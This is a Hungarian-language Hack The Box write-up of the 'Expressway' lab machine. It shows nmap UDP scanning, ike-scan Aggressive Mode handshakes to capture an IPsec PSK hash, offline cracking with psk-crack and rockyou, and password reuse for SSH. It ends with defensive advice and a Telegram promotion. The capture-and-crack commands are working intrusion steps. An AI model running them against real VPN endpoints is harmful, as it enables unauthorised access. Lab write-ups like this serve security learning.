Expressway — HTB Writeup
Platform: Linux
Host: 10.129.113.8
Difficulty: Easy
Author: NoSec
mélyebbre mennél? csatlakozz a backdoor crew-hoz és kapj exkluzív videókat & korai hozzáférést a root chainekhez.
💀 csatlakozz a backdoor crew-hozRecon
Az első lövés szokás szerint: gyors TCP portszken. Ha csak egy-két port él, nem dőlünk hátra — sok “csendes” gép UDP-n beszél érdekeseket.
nmap -sVC 10.129.113.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 00:22 CEST
Nmap scan report for 10.129.113.8
Host is up (0.033s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
Itt csak SSH látszik, ami magában kevés. Tipikusan ez az a pont, ahol sokan elkezdenek brute-force-olni – feleslegesen. Inkább nézzünk UDP-t is: VPN-ek, TFTP, DHCP, DNS, stb. gyakran ott bújnak.
nmap -sU --top-ports 100 10.129.113.8
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 00:23 CEST
Nmap scan report for 10.129.113.8
Host is up (0.15s latency).
Not shown: 96 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
500/udp open isakmp
4500/udp open|filtered nat-t-ike
Nmap done: 1 IP address (1 host up) scanned in 141.66 seconds
Miért fontos ez?
- UDP/500 (ISAKMP) és UDP/4500 (NAT-T) tipikusan IPsec / IKE. Ha a szerver IKEv1 Aggressive Mode-ra van állítva PSK-val (pre-shared key), akkor offline törhető a kulcs. Ez aranybánya.
- UDP/69 (TFTP): sokszor eszközkonfigok laknak itt (routerek, AP-k), de itt most nem ez volt a fő nyom – a lényeg az IKE.
Szóval ráborítjuk az ike-scan-t.
ike-scan -M 10.129.113.8
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.113.8 Main Mode Handshake returned
HDR=(CKY-R=04ec1a9db3726275)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.042 seconds (24.00 hosts/sec). 1 returned handshake; 0 returned notify
A Main Mode válasz mutatja, hogy PSK az auth, és elég retro suite-ok vannak (3DES/SHA1/modp1024). Ez már biztató, de Main Mode önmagában nem ad hash-t offline crackhez. Kell az Aggressive Mode.
ike-scan -M --aggressive 10.129.113.8
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.113.8 Aggressive Mode Handshake returned
HDR=(CKY-R=261e81de0f8d9a62)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
KeyExchange(128 bytes)
Nonce(32 bytes)
ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
VID=09002689dfd6b712 (XAUTH)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
Hash(20 bytes)
Ending ike-scan 1.9.6: 1 hosts scanned in 0.545 seconds (1.83 hosts/sec). 1 returned handshake; 0 returned notify
Mit látunk itt pontosan?
- ID=ike@expressway.htb: ez a peer ID (user FQDN). Aggressive Mode-ban a szerver már az elején kiküldi az ID-t, ami együtt a többi parammal elég a PSK hash offline töréséhez.
- Hash(20 bytes): ez az a verifikációs hash, amit a PSK-ból, az ID-ból meg a többi IKE paraméterből számolnak. Ha kitalálod a PSK-t, ugyanazt a hash-t kapod → bingo.
Következő lépés: mentsük ki a crackelhető anyagot psk-crack
számára. Itt az ID-t is megadjuk, hogy a tool ugyanazzal a kontextussal számoljon, mint a szerver.
ike-scan -M --aggressive --id=ike@expressway.htb 10.129.113.8 --pskcrack=psk.txt
Most már csapkodhatjuk dictionary-val. Itt egy alap rockyou ment rá, de ha kell, lehet szabályokkal, hybriddel, saját wordlisttel finomítani.
psk-crack -d /usr/share/wordlists/rockyou.txt psk.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freak<PASS>" matches SHA1 hash 5d6232c869d1<HASH>
Ending psk-crack: 8045040 iterations in 8.402 seconds (957533.11 iterations/sec)
Miért működik ez?
Aggressive Mode + PSK = rossz kombó. A protokoll elején kiszivárog minden, ami kell az offline kipróbáláshoz, így nem a szervert gyilkolod brute-force-szal, hanem lokálban számolgatod, ameddig jólesik. Ha a PSK “emberi” (szótárban van, vagy szabállyal eltalálható), el fog törni.
Pro tipp: ha nem talál, hashcat ismeri (Mode 530: IKE Aggressive Mode PSK). Szabályokkal (best64, dive, hob0rules stb.) durván jobb találati arányt kapsz, mint plain rockyou-val.
Oké, van PSK. És most? Sok labornál/életben is előfordul, hogy jelszó-újrahasználat van: a VPN PSK vagy annak variánsa SSH user jelszó is. Itt is ez jött be: ugyanazzal a stringgel authentikálható volt az ike user. Innen már csak be kell lépni és elhozni a user flaget.
Ha nálad nem adja ki: előbb mindig nézd meg az elérhető userneveket (gépen lévő servicek, konfigok, bannerek, domain/realm, ID a handshake-ből mint itt az
ike@expressway.htb
), és próbáld a PSK-t ezekkel kombinálni. Ha teljesen más creds kellenek, akkor az UDP/69 (TFTP) / más szolgáltatások logjaiból is csoroghat még infó, de itt nem volt rá szükség.
# (ssh login és user flag megszerzése itt történt – a parancsok és kimenetek szándékosan nincsenek részletezve)
Gyors összefoglaló
- TCP csak SSH? Ne állj meg. Dobj rá UDP-s cant is. Itt ez hozta a meccset.
- UDP/500 + 4500 → IKE/IPsec. Ha Aggressive Mode + PSK, akkor offline PSK-crack.
- ike-scan szépen kiírta az ID-t is (
ike@expressway.htb
), pont ez kell a hiteles hashhez. - psk-crack (vagy hashcat m=530) szétkapja a gyengébb PSK-t.
- Jelszó-újrahasználat: a törött PSK gyakran jó SSH-ra is. Itt ez volt a belépő a userhez.
Mit csinálj másképp, ha nem jön össze elsőre?
- Nincs Aggressive Mode válasz?
Próbáld--aggressive --id=<valami@domain>
több ID-vel (gyakori: hostnév, user, email-szerű). Vannak eszközök, amik csak bizonyos ID-re szólnak vissza értelmeset. - PSK nem törik?
Válts hashcatre (m530), tegyél rá szabályokat, és told meg saját szótárral (cég/box neve, körítés: évszám, !, @, 123, stb.). - SSH-n nem jó a PSK?
Nézd át a környezetet: UDP/69 TFTP, /srv/tftp, config backupok; vagy helyi userlist/nyomok. Sokszor ugyanaz a minta tér vissza más formában.
Blue team szemmel (hogy lásd, mitől “easy”)
- Ne használj IKEv1 Aggressive Mode-ot PSK-val. Komolyan. Vagy minimum hosszú, random PSK (nem szótár), de inkább IKEv2 és tanúsítvány.
- Kerüld a jelszó-újrahasználatot. VPN PSK ≠ SSH user jelszó.
- UDP szervizek takarítása. Ami nem kell, ne hallgasson (TFTP különösen fájdalmas tud lenni).
Tanulság
Ez a gép szép példája annak, amikor a TCP felületből semmi izgalmas nem látszik, viszont UDP-n ott a jackpot. Egy kis protokollismeret (IKE Aggressive Mode működése) + alap wordlist = user szint. Nem kell túlgondolni – csak a jó sorrend: UDP scan → ike-scan → PSK crack → SSH. Kész, pipa. 🏴☠️
🔐 A root rész csak a privát Telegram csoportban érhető el, amíg a gép aktív.
👉 Csatlakozz a teljes writeupért, extra tippekért és belsős tartalmakért:
📡 https://t.me/nosecpwn
☕ hívj meg egy kávéra, hogy ne aludjak el a következő writeup írása közben
💻 támogasd a nosec-et